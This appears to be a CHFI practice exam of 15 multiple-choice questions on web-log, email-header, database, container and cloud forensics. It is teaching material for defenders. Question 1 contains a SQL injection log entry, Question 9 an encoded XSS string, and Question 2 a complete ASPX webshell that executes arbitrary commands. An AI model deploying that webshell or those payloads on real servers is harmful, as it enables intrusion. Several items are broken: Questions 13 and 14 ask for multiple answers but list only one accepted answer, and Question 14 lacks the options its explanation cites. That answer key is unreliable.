CHFI Application, Email and Cloud Forensics Practice Test 8 — 15 Questions

Question 1

A security analyst reviews the following Apache access log entry: 192.168.1.10 - - [15/May/2025:10:15:23 +0000] "GET /search.php?q=1'%20OR%20'1'='1 HTTP/1.1" 200 5321 "-" "Mozilla/5.0". Which type of attack is most likely indicated?

Accepted Answer

SQL injection (SQLi). The log shows a GET request with a SQL injection payload (1' OR '1'='1) in the 'q' parameter. The HTTP 200 response indicates the server processed the request, suggesting a successful or attempted SQL injection.

Answer

Cross-site scripting (XSS)

Answer

Path traversal

Answer

Remote file inclusion

Question 2

During a forensic investigation of a compromised web server, you find a file named 'cmd.aspx' in the uploads directory. The file contains: <%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start("cmd.exe","/c "+Request.QueryString["cmd"])).StandardOutput.ReadToEnd(); %>. What is the most likely purpose of this file?

Accepted Answer

It is a webshell used for remote command execution. This is a webshell that executes arbitrary operating system commands via the 'cmd' query parameter. It allows remote command execution on the server.

Answer

It is a database connection string

Answer

It is a legitimate ASP.NET application page for server management

Answer

It is a cross-site scripting payload

Question 3

In MySQL forensics, which log file is most commonly used to detect unauthorized data exfiltration or changes to database records?

Accepted Answer

Binary log. The binary log (binlog) records all changes to database data and structure (INSERT, UPDATE, DELETE, DDL). It is essential for forensic analysis of data manipulation events.

Answer

Slow query log

Answer

General query log

Answer

Error log

Question 4

Which email header field is specifically used to verify that an email was not tampered with during transit and is signed by the sender's domain?

Accepted Answer

DKIM-Signature. DKIM-Signature header contains a digital signature that allows the receiver to verify the email's integrity and authenticity.

Answer

X-Originating-IP

Answer

Message-ID

Answer

Received

Question 5

An investigator needs to parse and analyze a Microsoft Outlook personal folders file (.pst). Which tool is specifically designed for this purpose?

Accepted Answer

Aid4Mail. Aid4Mail is a forensic email analysis tool that can parse Outlook PST files, among other formats, and extract metadata, attachments, and headers.

Answer

FTK Imager

Answer

Wireshark

Answer

Sleuth Kit

Question 6

In cloud forensics, which AWS service provides a centralized log of API calls made by users and services, often used to investigate unauthorized access or configuration changes?

Accepted Answer

AWS CloudTrail. AWS CloudTrail records all API calls for governance, compliance, and operational auditing, making it essential for forensic investigations in AWS.

Answer

AWS CloudWatch

Answer

AWS Config

Answer

AWS VPC Flow Logs

Question 7

A forensic analyst is examining a Docker container that was used to launch a DDoS attack. Which layer of a Docker image is most likely to contain the attacker's malicious scripts?

Accepted Answer

The topmost writable container layer. Docker images consist of read-only layers. The topmost writable layer (container layer) holds changes made at runtime, such as installing tools or scripts. The attack scripts would be in this layer.

Answer

The overlay filesystem layer

Answer

The volume mounted from the host

Answer

The base image layer

Question 8

Which of the following is a primary challenge in cloud forensics due to shared infrastructure?

Accepted Answer

Multi-tenancy and data comingling. Multi-tenancy means multiple customers share the same physical resources. This complicates evidence isolation and can lead to data comingling, making forensic acquisition difficult.

Answer

Slow internet speeds

Answer

Lack of logging capabilities

Answer

Inability to perform network analysis

Question 9

An analyst finds the following string in an IIS log: %3Cscript%3Ealert('XSS')%3C/script%3E. What does this indicate?

Accepted Answer

A cross-site scripting (XSS) attempt. The string is URL-encoded HTML/JavaScript (). It is a typical cross-site scripting payload attempting to execute in a browser.

Answer

A SQL injection attempt

Answer

A buffer overflow attempt

Answer

A path traversal attempt

Question 10

Which tool is specifically designed to extract metadata from email messages, including tracking the route and identifying the originating IP address?

Accepted Answer

EmailTracker. EmailTracker is a tool that analyzes email headers to trace the path and identify the source IP, often used in email forensics.

Answer

Wireshark

Answer

MailXaminer

Answer

Outlook

Question 11

In an email header, an analyst notices the following: 'Received: from mail.attacker.com (192.168.2.100) by mail.victim.com (Postfix) with ESMTP id ABC123 for <user@victim.com>; ...'. The 'From' address appears as 'ceo@victim.com'. Which type of attack is most likely?

Accepted Answer

Email spoofing. The email claims to be from 'ceo@victim.com' but was received from 'mail.attacker.com', indicating the sender forged the From address. This is email spoofing.

Answer

Man-in-the-middle

Answer

Malware attachment

Answer

Phishing

Question 12

Which cloud service's audit logs would an investigator examine to identify who deleted a virtual machine in an Azure subscription?

Accepted Answer

Azure Activity Log. Azure Activity Logs record all control-plane events (e.g., create/delete resources) at the subscription level, including who performed the action.

Answer

GCP Audit Logs

Answer

Azure AD Sign-in Logs

Answer

AWS CloudTrail

Question 13

Which TWO of the following are indicators of a webshell on a web server? (Select TWO.)

Accepted Answer

The file contains system commands executed via GET or POST parameters. Webshells often have recent modification times out of sync with other files, and they typically accept command parameters in GET/POST requests. Large file size alone is not definitive, and missing index.html is unrelated.

Answer

A file named 'cmd.php' with a modification date matching other legitimate files

Answer

The server's index.html file is missing

Answer

The file is over 1 MB in size

Question 14

Which THREE of the following are challenges specific to container forensics? (Select THREE.)

Accepted Answer

Containers share the same kernel as the host, limiting isolation for forensic acquisition. Containers are ephemeral (volatile evidence), they share the host kernel (limited isolation), and they rely on layered images that must be analyzed. Standard disk imaging tools may not work; network isolation is not a specific challenge.

Answer

Network isolation prevents packet capture

Answer

Standard forensic imaging tools can be directly applied

Question 15

In email forensics, which TWO of the following headers are most useful for identifying the true origin of an email? (Select TWO.)

Accepted Answer

X-Originating-IP. Received headers show the path and each server's IP, while X-Originating-IP may contain the sender's IP. DKIM verifies integrity but not origin IP. Message-ID is just an identifier.

Answer

Message-ID

Answer

DKIM-Signature

Answer

MIME-Version